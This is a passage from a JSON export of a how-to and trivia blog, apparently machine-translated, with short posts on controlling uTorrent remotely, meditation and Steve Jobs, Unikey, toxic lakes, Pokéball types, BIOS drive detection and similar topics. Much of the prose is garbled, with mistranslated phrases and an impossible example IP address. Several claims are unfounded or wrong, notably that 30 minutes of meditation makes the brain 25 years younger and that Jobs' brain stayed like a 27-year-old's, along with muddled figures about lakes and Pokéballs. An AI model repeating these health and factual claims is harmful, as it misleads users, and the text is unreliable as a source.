error.\nFirst, open uTorrent , select Preferences (or press CTRL + P ), then select Remote as shown below:\n Here, we will see the checkbox of the option: Enable uTorrent Remote Access . Then, create the computer name and password in the Computer - Password :\n Click the Apply button at the bottom right corner and wait until the Status section changes from Not accessible to Accessible . At this point, we have successfully connected to the uTorrent Remote system and ready for browser access on Desktop or Mobile .\n This approach is quite simple, no need to change any parameters in the Firewall system\nAnd to connect to the remote uTorrent client via the uTorrent Remote system, simply open the browser and type https://remote.utorrent.com . During this first login, the system will ask the user to create a new account, then the process of logging in with the computer name and password (initialized above). If you are using a mobile browser, you will see the interface as the rightmost image of the image above.\nSet uTorrent with Remote Access via uTorrent WebUI:  Previously, it was the use of uTorrent Remote - suitable for those who are not interested in BitTorrent data security process with proxies and iPhone users who cannot access the App Store to use uTorrent, missing in Proxy support is the minimum feature set for advanced users. And this is also the time when the Web UI feature is available. By activating the mechanism through the old interface, users can use their respective phones and services on that system.\nFirst, open Web UI in uTorrent . Go to the main control panel - Preferences (or press CTRL + P ), open the Advanced menu, here we will see Web UI (screenshot above). Check the Enable Web UI box , initialize Username and Password , leave the option Enable Guest account with username . Save changes and return to uTorrent's main monitor screen. However, if you have problems with the system's Firewall or security software, go to the new Rule to switch Port with Web UI.\nAfter performing the above process, we were able to point any web browser through the public IP address and log in to the uTorrent client. For example, if your IP address is 123.456.789.123 , Port is 9292 then type the following address in the browser: http://123.456.789.123:9292/gui/ . This console is quite suitable for desktop or tablet computers but is a bit 'oversized' compared to smartphones .\nHowever, iOS users will encounter a lot of difficulties in the process of using if not performing 1 of the following 2 things. If there is a jailbroken iPhone , uTorrent can be used from the Cydia App Store. Besides jailbreak, Cydia based uTorrent users can use proxy service called Morrent Mobile:\n For Android users, they can skip all the above setup steps and directly access the uTorrent client system via Android application. One of the most popular Android Market apps is Torrent-Fu - packed with many support features like search, RSS feed, creating clients for many different torrent clients. After installing the program, in the first operation, click the Go to Profiles button in the Profile Required window. Select Add Add Profile and fill in all the information of the previous setup process (public IP address, Port number, Username and Password ). Save the new Profile and from the main monitor screen, click the Manage menu and select uTorrent client. In Manage, you can see full details about torrent, basic functions like Start, Force Start, Pause, Resume, Remove, and Remove and Delete data . Besides, there are some Filter functions according to specifications like Seeding, Paused, Downloaded, Completed, and Flags . Support for backend features like Torrent-Fu search via ISOHunt, MiniNova, PirateBay, and KickassTorrents . tightly integrated with What.cd.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLC606umpWWlqbyzvsSnq2aqlaK8tbHLsmSvoZFiurCuyKWcZqiYpLum\n","link":"/post/control-utorrent-remotely-via-mobile-phone/","section":"post","tags":null,"title":"Control uTorrent remotely via mobile phone"},{"body":"There have been many articles written about the secret of success of Steve Jobs, one of which is meditation habit. But recently neuroscientists have confirmed the true effect of meditation on human health.\n When Steve Jobs died of pancreatic cancer at the age of 56, the genius's brain was as healthy and creative as he was at 27 years old thanks to practicing meditation.\nSteve Jobs meditated to improve health, increase work efficiency, but there was one benefit to meditation that he himself did not expect. The common effect of meditation is to make the human mind more peaceful, clearer, able to handle, manage better, improve memory, reduce depression . And maybe you do not know: meditation It can also prevent the aging process, especially for our brain.\nAccording to the Psychology Today page: \" Brain endoscopy technology has shown that: as people get older, the brain shrinks. The nerves in the brain shrink, causing large cerebrospinal fluid compartments. over and even leaving holes in the brain, contractions that occur in nerve cell branches that form touch points between nerve cells. Neurons produce dopamine (an important chemical compound in the brain that has many beneficial effects both mentally and physically), the cause of Parkinson's disease - a degenerative disorder of the central nervous system affecting the patient's movement, balance and muscle control status. \"\nThe decline of the brain has many symptoms: less responsive reflexes, impaired memory, difficulty absorbing new things, thinking becomes discrete, poor stamina, .\nThese signs appear more often at the age of 45 years, at this age, the brain has lost about 4% -5% of the level of mental sensitivity and increasingly declining. The age of 60 is the time to clearly see these symptoms, and when you are 70 years old, your body is completely depressed.\nScience has proven that eating, sleeping, and moderation will slow down this \"aging\" process. However, this lifestyle only helps maintain the appearance of people, our brain is still under the influence of age, gradually declining its functions.\nFortunately, there is a method not only to slow down the aging process but even help to \"rejuvenate\" our brain, namely meditation. A study conducted at Harvard Medical University and Massachusetts General Hospital found that practicing meditation for 30 minutes a day for eight weeks helps:\n- Thickening the back skin, increasing ability to focus and confidence.\n- Thickening the left hippocampus, increasing the ability to regulate emotions, ability to think and remember.\n- Thickening the junction between the apical lobe and the temporal lobe, increasing the ability to empathize, understand and personal view. Since then built good and positive relationships.\n- Almond ganglion - is located in the center of the brain where the human emotions are handled, reducing stress and negative reactions.\n Practicing meditation for 30 minutes a day for eight weeks will bring significant health and mental improvement benefits.\nMeditation is very effective in repairing and recovering from mental trauma. Make your brain minimize the signs of aging, stay clear, at least 25 years younger than your actual age.\nBecause Steve Jobs was a meditator, when he died of pancreatic cancer at the age of 56, the genius's brain was as healthy and creative as he was at 27 years old. to the philosophy and thinking of the work of Steve Jobs, the founder of Apple, the father of the iPhone: all of his designs are minimalist and sophisticated.\n Apple also encourages employees to meditate to increase work efficiency. That has become a feature of this company.\nncG1vNJzZmismaXArq3KnmWcp51ksbC1zaBkraCZqHp0fIymoKetpJrAbq2MnZiyZaeeua15x56jqWWppMKvs4ypnKionJp6osCMpZyaq6Rif3Z52J6Yq6tdpLmledKtnK%2BdXZ%2B8o7%2BMrqqenF2pvG6uxGaYp5xdlrm4rdisZJudXZi%2Fpq3Toq2eZZyeuKZ5x6KqZqynmru1tcSs\n","link":"/post/doing-this-30-minutes-a-day-will-help-young-people-at-least-25-years-old-steve-jobs-used-to-be-and-always-be-creative-like-his-twenties/","section":"post","tags":null,"title":"Doing this 30 minutes a day will help young people at least 25 years old, Steve Jobs used to be and always be creative like his twenties!"},{"body":"Currently, Unikey is considered the most popular Vietnamese typing software. We can use tools to serve in writing content, or post on social networking sites. Especially for those who do office work, they have to deal with large volumes of text, Unikey plays an important role.\nFix the error Unikey can't type Vietnamese Switch font code with Unikey During the course of work, suddenly the Unikey icon disappeared completely in the Taskbar. Although we can still type Vietnamese, perform operations such as switching English Vietnamese, but the Unikey icon does not feel any better. This will make it difficult for anyone to work continuously with the program. Therefore, before you calculate the software reinstallation, try the fix that the Network Administrator instructed in the article below.\nDownload Unikey software for free Restore the icon Unikey disappears Step 1: In the Windows search bar on your computer, right-click and select Task Manager . You can also press Ctrl + Alt + Delete or Ctrl + Shift + Esc to open Task Manager.\n  Step 2: Task Manager interface appears. We select the Processes tab.\n  Step 3: Here, scroll down and search for UnikeyNT.exe . Then right click on the file and select End Task .\n  With Win 7 or below, you can do the same to right-click the file and select End Process or End Process Tree to close the program.\n  Step 4: Finally, restart Unikey to appear on the Taskbar icon.\nHow to appear Unikey icon in Tray icon Step 1: Right-click the Windows search bar, select Properties .\n  Step 2: Appears the Taskbar and Start Menu Properties window, left-click on Customize .\n  Step 3: The Settings interface appears and you are at the Notifications \u0026amp; actions section . Select Select which icons appear on the taskbar .\n  Step 4: Here you go to Unikey and turn on On mode by swiping the horizontal bar to the right. So the Unikey icon appears under the system tray.\n  For Windows 7 or later operating systems, go to Unikey and click on the down arrow and select Show icon and notifications. Finally select OK to save.\n  Above, we have helped you appear Unikey icon on the Taskbar and attach the program icon on the system tray.\nRefer to the following articles: How to transfer unsigned text with Unikey How to use the shortcut function in Unikey? How to transfer text code with Unikey I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiYsKvtcqesGacn5rAbrrOrWSsoJ%2BseqqvzqdkqKZdqa60t8GaqQ%3D%3D\n","link":"/post/fix-error-unikey-does-not-show-icon-on-taskbar/","section":"post","tags":null,"title":"Fix error Unikey does not show icon on Taskbar"},{"body":"Fire is an accident that no one wants it to happen. Sometimes, just because of a little subjectivity of a human being, a whole house is burned down in a flash. Every fire left huge consequences on property and even people.\nThe video below is set up by the New Zealand Fire Service Center to show you how scary the fire can be. It only came from a small fire, but in less than 1 minute, the entire room was burned down.\nIn the video, the fire broke out from the heater, caught on the clothes around and quickly caught fire to the point of uncontrollable. At this point, it is very likely that the fire will spread and burn down the entire house before the fire emerges.\nIn fact, there are many possible causes of fire from forgetting the gas stove, irons, water heaters, water heaters . So everyone needs to be careful before leaving the room, and always Always prepare an emergency escape plan to save yourself and everyone around you.\nSmoke - The killer killed invisible in fires Guide 8 escape skills when there is fire in high-rise buildings ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ%2BYrKxdmK6vecBmnaKqlWLAsb7Emps%3D\n","link":"/post/how-fast-can-a-fire-spread/","section":"post","tags":null,"title":"How fast can a fire spread?"},{"body":"Among Us\u0026nbsp;thanks to the unexpected love and support of the streamer with an interesting werewolf-style survival game, has \"flashed\" to become a star after two years of quiet release. Besides attractive gameplay, Among Us also attracts players by creating a funny character and the skin can be changed at will.\nHow to change the skin in the game Among Us 1. What is the skin in Among Us? 2. How to change the skin in Among Us 3. How to get the skin Among Us - Jason Mask 1. What is the skin in Among Us?   Skin is the costume for the character. Currently, you have 15  Among Us skins , from the standard astronaut skin to the off-topic miner skin, and even the exotic Tarmac.\nEach skin costs $ 1.99, but PC players who have purchased the game on Steam will receive 10 Free Among Us skin .\n2. How to change the skin in Among Us   To change the skin in Among Us, first, players need to enter the lobby. Here, go to the laptop icon located on one of the storage boxes and open the customization menu.\nHere, you will see the Skin tab . Inside it is a list of Among Us skins you have purchased or received for free. All you have to do is choose your favorite outfit to dress for your character. Really simple, right?\n3. How to get the skin Among Us - Jason Mask   To have a mask of a fictional killer just hearing the name is enough to make others tremble - Jason Voorhees. This is the skin that many of Among Us's impostors desire. The developer Innersloth named it the Hockey Mask, a special accessory to celebrate Halloween 2020.\nCurrently, the developer has fixed a bug where gamers have taken advantage of a date-changing vulnerability to trick the system into getting this skin Among Us. Therefore, the only way to get the skin Among Us Jason mask is to wait until the middle of the upcoming Halloween night on October 31.\nAbove is how to change the skin in Among Us . Hope the article is useful to you.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lo6C2r3nIp2SapZ%2BjtG7B0g%3D%3D\n","link":"/post/how-to-change-the-skin-in-among-us/","section":"post","tags":null,"title":"How to change the skin in Among Us"},{"body":"PowerPoint provides extremely useful templates that automatically build the foundation and frame for your presentation. If you can't find the template you want, you can create your own. And here is how.\n7 PowerPoint slide template websites to help keep your presentations up and running Great free PowerPoint slide templates for office workers 4 effective PowerPoint slide templates for meetings Create custom PowerPoint templates To create a custom PowerPoint template, you first need to open a blank presentation by clicking on File and then selecting New in the left pane.\n  The sample library will appear, but this is not what we are looking for, ignore and select the Blank Presentation option.\n  Next, you need to choose the direction and size of the slide. In the Customize group of the Design tab, select the Slide Size button. A small drop-down menu appears, click on the Customize Slide Size option .\n  The Slide Size dialog box appears, you can customize the height and width of the slide or simply select the preset option from the drop-down menu and choose the slide direction.\n  The rest of the template creation will be done in PowerPoint's Slide Master. Slide Master allows to customize the font, title and color of the presentation, apply this custom to the entire slide. This also helps maintain consistency throughout the sample as well as eliminate changes for each slide.\nTo access the master slide, click the View tab and then select Slide Master in the Master Views group.\n  The Slide Master will appear in the left pane. It is the top thumbnail that appears in the frame. Each thumbnail below represents each of the available slide layouts in the theme. The edits you make to Slide Master will affect each slide layout.\n  First, you can choose a unique theme for your PowerPoint template by selecting Themes in the Edit Theme group of the Slide Master tab.\n  A drop-down menu will appear, displaying a large library of themes to choose from. Each theme comes with its own font and effects, find the theme you like.\n  You can also choose the background type for the selected theme. Select Background Styles in the Background group and then choose your preferred style from the drop-down menu.\n  If you want to customize the text placeholder boxes in the slides, you can select one of the options from the Insert Placeholder menu in the Master Layout group.\n  Once you've selected the slide you want to insert from the left pane and type placeholders from the menu, click and drag the cursor to draw. Repeat the above process until you are satisfied. When done, save the custom template.\nSave custom template To save a PowerPoint presentation (.pptx) as a template (.potx), click the File tab and then click the Save as button.\n  In the Other Locations group, select the Browse option.\n  The Save As dialog box will appear. Check the box next to Save as Type , then choose PowerPoint Template from the list of options.\n  When choosing the PowerPoint Template file type, PowerPoint will redirect you to the Custom Office Templates folder to save the template, click Save .\n  Your template will now be saved and ready to use. To find the template to use the next time you open PowerPoint, click the File tab and select the New button. Next, select the Custom tab and then select the Custom Office Templates option .\n  Now you will see your custom template, select it to start using.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYycrKysn6J6tbHMqaOarJWoeqq6jKmmsJ2ipbyqutM%3D\n","link":"/post/how-to-create-custom-templates-in-powerpoint/","section":"post","tags":null,"title":"How to create custom templates in PowerPoint"},{"body":"One more controversial issue about 'bowing'. We have been warned to wash instead of using paper after the \"bowel\" but for those who use paper, it is divided into two different camps: throwing toilet paper into trash or toilet?\nWhy does modern Japan still use squat toilets? Discover the history and exciting production process of toilet paper Incidentally: Used toilet paper can be recycled into electricity The story of where to throw toilet paper in each country is different, so the argument is inevitable. In many countries, including Vietnam, the sign of 'not throwing toilet paper into the toilet' is often used in public toilets. But in many other countries, it is said that toilet paper must be discharged into sadness.\n  So where is toilet paper the most right and cleanest?\nIn the environmental aspect.\nToilet paper and things that cling to it after being cleaned are basically classified as \"organic garbage\".\nIf thrown into a bin, toilet paper will be moved to the landfill. At that time, the bacteria that eat the garbage will decompose them into the release of methane, the gas that contributes to the warming process of the Earth 20 times higher than CO2.\nIf it is thrown into the toilet and flushed, it is not better. Because toilet flushing water will be sent to wastewater treatment plants. 95% of toilet paper is dissolved in water during treatment, the remaining 5% will be removed and treated as solid waste in facilities outside the factory. The decomposition process is much faster due to the existence of water, so the amount of toxic gas discharged is also very large.\n  At present, there are no studies that show a specific comparison of throwing paper into containers or discharging water, which is more harmful to the environment.\nWhat about toilet hygiene?\nThis depends on the quality of the toilet and the drainage system. With modern toilets with very strong flushing and suction mechanisms, congestion is significantly reduced, even in the case of non-toilet paper.\n  But with old-style toilets, squat toilets, the ability to discharge water is extremely weak, the drainage system is relatively poor. If you throw one, two sheets of toilet paper, it doesn't matter but if it is too much, the ability to block the toilet is very high. Many people think that throwing toilet paper into the toilet is cleaner but if it is, it is a disaster.\nIn summary, throwing toilet paper into a bucket or toilet also affects the environment and cleaning with a toilet bowl is only relative. So follow the rules in each place you use the toilet.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZrGfqnq1tNGormasn565psCMqZipnaJitq%2FAzmaroZ1dqbyquMStZKiqXam%2For%2FH\n","link":"/post/should-you-throw-toilet-paper-into-the-toilet-or-trash/","section":"post","tags":null,"title":"Should you throw toilet paper into the toilet or trash?"},{"body":"LinkedIn allows users to delete accounts, delete all profiles on the site. If you do not want to use your LinkedIn account, you can proceed to delete your account. After you delete your account, you will lose your rights. Access all data on your account. Your profile will disappear from the LinkedIn website and may disappear from search engines like Google, Bing and other search engines.\n  1. Things you need to know After deleting your account, you will lose access to all data on your account. Your profile will disappear from the LinkedIn website and may disappear from search engines like Google, Bing and other search engines.\nIf you change your mind, you can reactivate your account within 20 days of deleting your account. However, data such as group members, people you follow, invitations, confirmations, recommendations, etc. will be lost.\nBefore deleting your account, you can download a copy of LinkedIn data . To do this, you can access your Request Your Data Archive page on the LinkedIn website and click on the 'Request Archive' button.\n2. Delete the LinkedIn account on the computer To delete a LinkedIn account on your computer, go to the LinkedIn website, then move your mouse over your profile image in the top right corner of the page, click Manage then select Privacy \u0026amp; Settings .\n  Scroll down to the Account page, find and click Closing Your LinkedIn Account at Subscriptions . Alternatively, you can access the Close Your Account page directly at this link.\n  Choose a reason why you want to \" close \" your LinkedIn account and provide more feedback if you want and then click Next to continue.\n  Enter your LinkedIn account password on the next page and click the Close Account button to confirm that you want to \" close \" your account.\n  3. Delete your LinkedIn account on your mobile phone You can also delete your account on the LinkedIn app for Android or iPhone devices , or on LinkedIn mobile phones. The process is the same as above.\nClick the Me icon in the navigation bar, then click on the Settings icon for aliasing. Then click Close Account on the Account tab .\n  Click Continue and click on a reason that you want to close your LinkedIn account, then enter your LinkedIn account password and then click Done . And your account will be \" closed \".\n  4. How to reactivate your LinkedIn account? If you change your mind, you can reactivate your account within 20 days of deleting your account. Just go to the website and login the email address of the account and password.\nHowever, data such as group members, people you follow, invitations, confirmations, recommendations, etc. will be lost.\nRefer to some of the following articles: How to block any user on Instagram? How to permanently delete Instagram account and temporarily disable it Instagram account is hacked, this is all you need to do Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmbKtsdOeZLKnpad6rbXNpJydoZ5irqSvzq6lrQ%3D%3D\n","link":"/post/steps-to-delete-your-linkedin-account/","section":"post","tags":null,"title":"Steps to delete your LinkedIn account"},{"body":"The lake with the name of the lake of death will make us think of death, and the danger. But the lakes below are also death lake, but are considered natural masterpieces that nature has bestowed on us. Blue water in England or bright red in Tazania forms beautiful lakes but contains deadly toxins. Here are 9 death lake lakes called the most beautiful lake of death in the world.\n The lake in Harpur Hill village, Derbyshire county, central England is unusually blue, creating a poetic beauty.However, the reservoir contains a lot of waste from old cars, plastic garbage and human waste, with a pH of up to 11.3, a little less than bleach with a pH of 12.6, much higher than the average pH. average 6-7.The green of the lake is made up of calcium crystals absorbed from the surrounding limestone mountains, as the lake is located in the old limestone quarry site.Local authorities warn people not to interact with lake water, because the pH is high enough to irritate the skin and eyes, as well as cause stomach and fungal diseases.Photo: F Stop Press\n Lake Ljen in Banyuwangi district, East Java province, Indonesia.The lake is located in a large crater, one kilometer wide, eye-catching turquoise.This is one of the highest acidic volcanic lakes in the world.PH at the lake is 0.5;in the middle of the lake is 0.13 due to high sulfuric acid concentration.The acid content here is so dense that it can disappear everything.Around the lake is a sulfur mining site.Photo: Bromoeastjava\n Lake Berkeley Pit in Butte, Montana, is famous as the \"deadliest lake in America\".More than 151 m3 of reservoir water is filled with heavy metals and sulfuric acid.In early December, 10,000 dead geese were paralyzed in the lake for drinking contaminated water.Photo: Amusing Planet\n According to Live Science, Lake Natron in northern Tanzania has a pH of 10.5, which can burn skin and eyes.The lake is bright red due to its high salt content, an ideal environment for Halophile, microorganisms that produce red pigment when photosynthesis and development.Sodium carbonate, which is often used by ancient Egyptians to embalm and other minerals that flow into the lake from surrounding hills, makes the lake highly alkaline, not suitable for living animals.Photo: Tripfreakz\n Dallol volcanic lake is located between the desert of Danokil, Ethiopia.The beautiful lake with golden green color is actually a high concentration of sulfur-filled iron, iron and metal acid.The average temperature here is 35 degrees Celsius. Vibrant colors along with toxic gas circuits are always ready to erupt from water to turn the lake into a beautiful landscape but full of danger.Photo: Inspirationseek\n Lake Karachay in the Urals, southern Russia.Since 1951, this place has become a radioactive waste dump.Therefore, lake water is filled with high-quality toxic materials, called the WorldWatch Institute based in Washington, USA, called Earth's most polluted lake.Photo: Garasitawa\n Mono salt lake in Mono, California, USA.The lake is 183 km2 and is one of North America's oldest lakes.Salt content in lake water doubles in 40 years because of human exploitation.High salinity combined with carbonate, chloride and sulfur threaten the sustainability of the lake ecosystem, making it one of the most dangerous lakes in the United States.Photo: Amazingplacesonearth\n Lake Nyos Lake in Cameroon.The lake is located in a volcanic crater, rich in minerals, producing a variety of toxins such as high concentrations of carbon dioxide, which can spread about kilometers.In 1986, a carbon explosion occurred here that released toxic gas killing all villagers and animals living around.Photo: Geo.arizona\n Lake Kivu on the border of Congo and Rwanda, Africa.It is also dangerous like Lake Nyos.Not only is highly toxic carbon emissions, Lake Kivu also contains methane gas that burns, turning it into one of the world's most dangerous lakes.Photo: Lindbergsafaris\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdl7KiwdOina6kXaGurLHSZqafZZSarrW0jKKlZqyYmnq4u9Glmw%3D%3D\n","link":"/post/the-most-beautiful-lakes-of-death-in-the-world/","section":"post","tags":null,"title":"The most beautiful lakes of death in the world"},{"body":"As one of the indispensable \"tools\" every time a player participates in catching Pokémon, Pokémon GO's Pokéball balls will help us to capture Pokémon. However, Pokéball is also divided into different levels, the higher the level, the higher the ability to catch Pokémon.\nBesides, Pokéball's ability to catch Pokémon depends on the characteristics of each type of ball, whether or not the Pokémon are easy to catch, or the status of the Pokémon when we throw the ball, . There are all 26 types of Pokéball and is divided into 5 generations or different levels. In this article, we will show you what few people know about Pokéball.\nThings you didn't know about 26 types of Pokeball - Part 2 1. The first generation Pokéball: Pokéball 1 ball generation is the simplest, low-level ball and is present in Pokémon GO.\n1. Poké Ball: This is the first type of ball that you will own right after entering the world to catch Pokémon. This type of ball has a successful Pokémon capture rate ranging from 0 to 255. The ball has a characteristic red and white color, with a low purchase value. Poké Ball usually only fits and unleashes all its strengths with Pokémon from level 1 to level 15.\n  2. Great Ball: The ball is covered in white and blue, the catch rate of Pokémon falls between 0 and 200, 1.5 times higher than the Pokéball. For this type of ball, you should use level 15 to 30 to achieve high efficiency.\n  3. Utral Ball: Using the dominant brown and gold colors, Ultra Ball has a catch rate ranging from 0 to 150. This type of ball is suitable for catching Pokémon from level 30 - 60.\n  4. Safari Ball:   Safari Ball is a special type of ball that cannot be purchased with money, but can only be obtained when you join the price of catching Pokémon in the Safari wilderness area. Safari Ball catch rate is equal to the Great Ball ball type.\n5. Master Ball: This type of ball belongs to \"extreme\", only a few appear as a gift for worthy coaches. The success rate of Master Ball is up to 100%. This means that even the most powerful Pokemon cannot escape Masterball.\n  2. 2nd Pokéball generation: 1. Level Ball: The ball has a gray streak on the orange background, made from the Apricorn tree. This allows gamers to easily catch Pokémon with a level lower than the Pokémon you are using.\n  The levels are as follows: use will be similar to Poke Ball when the Pokémon is used at or lower than the Pokémon intended to catch. The rate will be doubled when the user has a higher level, but not to double the level. Multiply 4 if level is double but less than 4. Multiply 8 if level is 4 times higher.\n2. Lure Ball: This type of ball is quite similar to Great ball but has a red streak on it. This type of ball is capable of bait, three times the success rate of Pokémon that appears when using a fishing rod. In other situations, Lure Ball's ability to catch will be on par with Poke Ball.\n  3. Moon Ball: As the name suggests, right on the surface of the shadow is printed with the moon, effective for Pokémon that can evolve with Moon Stone (Moon Stone). The catch rate of this type is multiplied by 4 for Pokémon such as Nidoran, Clefairy, Jigglypuff or Skitty. In other situations, this type of ball is as effective as Poké Ball.\n  4. Friend Ball: The ball is covered by the island because the green color is accompanied by red dots, with the catch rate equal to Poke Ball. Friend Ball has the effect of making Pokémon with a trainer friendly index of 200.\n  5. Love Ball: This type of ball is effective for wild Pokémon of the same type that Pokémon are using. The catch rate will be multiplied by 8 times, while others will be similar to Poké Ball.\n  6. Heavy Ball: The ball has a bluish gray color and green dots on the surface. This type of ball is used to handle large types of Pokémon. The successful catch rate will deduct 20 if the Pokémon has a lighter weight of 451.5 lbs, plus 20 if it is between 451.5 - 677.3 lbs. Plus 30 is in the range of 677.3 - 903 lbs. Add 40 if the Pokémon has a weight greater than 903 lbs.\n  7. Fast Ball: The success rate of this type of ball will be multiplied by 4 if Magnemite, Grimer or Tangela are captured. In addition, the ball is also effective for Pokémon with a speed index of at least 100. In other cases, it is as effective as Poké Ball.\n  8. Sport Ball: This type of ball has an equal catch rate with Great Ball and is played free when players take part in a Pokémon catching competition at the park.\n  Above is part 1 of the fascinating information and ability to catch Pokemon of 26 types of Pokéball. We will quickly bring you a sequel to new things about Pokémon that catch Pokémon.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZrGfqnqltcOnq2ajnqTEbq3BqKytZWJrerXFz56qZqeWYr2wt8SbmKWkXaWus8CMag%3D%3D\n","link":"/post/things-you-didn-t-know-about-26-types-of-pok%C3%A9ball/","section":"post","tags":null,"title":"Things you didn't know about 26 types of Pokéball"},{"body":"Fortunately, there are tricks you can use to narrow down what's causing this problem. Read the following article to know how to solve unrecognized hard drive in Windows 10.\n1. Check if the hard drive is disabled in the BIOS   Some motherboard manufacturers disable unused SATA ports in the BIOS by default. If you are using a PC, make sure the hard drive is enabled in the BIOS.\nFor example, if using an Asus motherboard, you may want to enable CSM (Compatibility Support Module) in the BIOS settings. This allows you to show both UEFI and non-UEFI devices in boot priority mode.\nTo enable CSM in Asus motherboards:\nStep 1: Turn off the computer if it is powered on.\nStep 2: Press the power button to enable the feature, and as soon as you see the Asus logo appear, start pressing the Delete key on the keyboard. This will allow you to use UEFI BIOS Utility—EZ Mode.\nStep 3: In EZ Mode, press the F7 key to switch to Advanced Mode.\nStep 4: Open the Boot tab in Advanced Mode.\nStep 5: Next, expand the CSM (Compatibility Support Module) section.\nStep 6: Click the Launch CSM drop-down menu and select Enabled.\nStep 7: Press the F10 key and press OK to save the changes.\n2. Update BIOS to the latest version Updating the BIOS (Basic Input Output System) to the latest version available can help fix compatibility issues and improve performance.\nDepending on whether you are using UEFI or Legacy BIOS, there are many ways to update it. You can refer to TipsMake.com's detailed instructions on how to update the UEFI BIOS in Windows or the motherboard/laptop manufacturer's documentation for specific details.\n3. Load BIOS default settings   If you have made changes to the BIOS, including overclocking the CPU or overclocking the memory, the storage drive may not be detected by the system due to instability.\nLuckily, you can go into the BIOS and revert it to the default configuration to undo any changes. The steps involved to load default settings may vary depending on the laptop or motherboard manufacturer.\nTo load default BIOS settings:\nStep 1: Turn off the PC and wait for it to shut down completely.\nStep 2: Next, press the Power button and press the F2/F8/Del key to enter the BIOS Setup Utility. Depending on the laptop and motherboard manufacturer, you may have a different key to enter the BIOS.\nStep 3: Once in the BIOS, use the arrow keys to open the Exit tab.\nStep 4: Use the down arrow keys and highlight Load Default Settings.\nStep 5: Press Enter and then select Yes to load the default BIOS settings.\nStep 6: Press F10 and Enter to exit and save the changes.\nLoading the default settings will reset all the changes you made to the BIOS.\n4. Remove and reconnect the hard drive The computer may not be able to detect the hard drive if there is a problem with the drive, the drive is damaged, and the connection is loose. To verify the condition of the drive, try removing the hard drive by carefully disconnecting the cables and looking for any physical damage.\nFor the old hard drive, wipe the dust and connect it to the PC. If the problem persists, try connecting it to another computer if available. This will help you determine if the problem is with the motherboard or the hard drive.\n5. Check if the SATA cable is faulty or not plugged in correctly The BIOS will not detect the hard drive if the data cable is faulty. Make sure that the SATA cables are in good condition and that you have them connected correctly. Also, check the motherboard for bent or misaligned pins.\nCheck the hard drive manufacturer's documentation for the right cable. For example, some manufacturers recommend using UDMA cabling for ATA drives. These color-coded cables require proper orientation to establish a proper connection. You can find support documentation for your drive on the manufacturer's website.\nFurthermore, try connecting the old DVD drive with a SATA cable to the motherboard and see if it works. If not, most likely the data cable is malfunctioning. Try replacing the cable and see if that helps.\n6. Check if the drive spins   If the hard drive is not supplied with enough power or has no power, it will not work. You can do a quick check to see if the drive is spinning, and if not, you've identified the cause of your mysterious failure. Just remember that this trick won't work with SSDs, as they don't have spinning disks.\nTo verify if power issues are preventing the BIOS from detecting the drive, try these troubleshooting steps.\nStep 1: Turn off the PC and make sure it is completely powered off.\nStep 2: Next, open the computer case and disconnect the data cable from the hard drive.\nStep 3: Power on the computer and check if the drive spins or not. You can tell if it's spinning by feeling a slight vibration to the touch.\n7. Use the boot diagnostic tool to check the hard drive health You can use the proprietary hard drive diagnostic tools provided by the manufacturer to check the health. Seagate provides SeaTools for DOS, while Western Digital has Data LifeGuard Diagnostics.\nDownload the tools and create a bootable drive. Boot from this drive and check if it detects the hard drive. If the diagnostics cannot detect anything, the hard drive is probably faulty and needs to be replaced.\nAbove are some ways to fix the BIOS can't detect the ATA/SATA hard drive in Windows. Hope they help you!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02arqGWUpHqqsoyboKirXZiur7rOrWSdnaSasLV5wK2YrJmklnqprdGdZJ2qmauybrXNZq6ippSkxLQ%3D\n","link":"/post/what-to-do-if-bios-cannot-detect-ata-sata-hard-drive-in-windows/","section":"post","tags":null,"title":"What to do if BIOS cannot detect ATA/SATA hard drive in Windows?"},{"body":"Famous for its smoothness and stability, but after a certain period of time, iPhone users should still power off the restart device to get the best performance. So do you remember when was the last time you turned off the iPhone? Few people correctly answered this question. Thankfully, there is an application that helps us come up with answers in just a few notes without thinking. System Status Lite is the name TipsMake.com wants to mention here, and even the app lets users know how long they have been using the iPhone.\nHow to check the original purchase date of the iPhone / iPad on Apple's website How to accurately check the lock or international version for iPhone How to check if iPhone has iCloud locked? Instructions for checking the last time the iPhone launch is when Please check how long ago you have not turned off your iPhone following these simple instructions:\nStep 1: Download and install the System Status Lite application to the device.\nSystem Status Lite is rated by iOS users as one of the best device management and device control utilities. This utility is completely free, has a capacity of 2.7 MB and is compatible with iOS 5.0 and above.\nDownload the System Status Lite app for iOS.   \nStep 2: Conduct the test.\nAfter successfully downloading and installing System Status Lite, open up the application, and you will see SYSTEM UPTIME entry .\n  Here, in the Boot Time line you will keep track of the time that you restarted the iPhone. And Uptime line will be the time you have used iPhone continuously since the machine rebooted.\nPlease do the same on your iPhone device and see when it was last booted iPhone. While it is not a \"super-high\" trick, iPhone users should know how to manage their devices better.\nHaving fun!\nSee more:\n6 mistakes when using on iPhone should quit immediately 5 certain experiences to know when buying an old iPhone X See destiny, career, the future, avoid the bad thing with the Palm-only app on iOS ncG1vNJzZmismaXArq3KnmWcp51kxKmxzWagrGWknbJuuMCsq2asmaKybsDOZqmeq6SWv7V5yKmfqKaV\n","link":"/post/when-is-the-last-time-to-restart-iphone/","section":"post","tags":null,"title":"When is the last time to restart iPhone?"},{"body":"It's going to be your girlfriend's birthday but you are wondering about which birthday gift to choose when she is a true techie. Don't worry, the article below will give you practical suggestions, help you get a meaningful birthday gift for your girlfriend . Stay tuned!\nSuggest birthday gifts for technology people Massage machine Machine wash face Hair curling machine Keyboard and mouse set Headphone cosmetic Clock Jewelry 1. Massage machine   Because of job specificity, technology people have little time for movement, must spend many hours in front of computers, throughout the night regularly to ensure work progress. These results in diseases such as aching joints, big thighs or reduced eyesight, eye aches due to excessive exposure to blue light.\nAs a psychological boyfriend, men should show their interest and understanding to technology women with practical gifts such as massage machines. This gift will relieve the mental fatigue to the state of her body, making her feel more comfortable and comfortable after working time.\nSurely any IT muse that you are in the 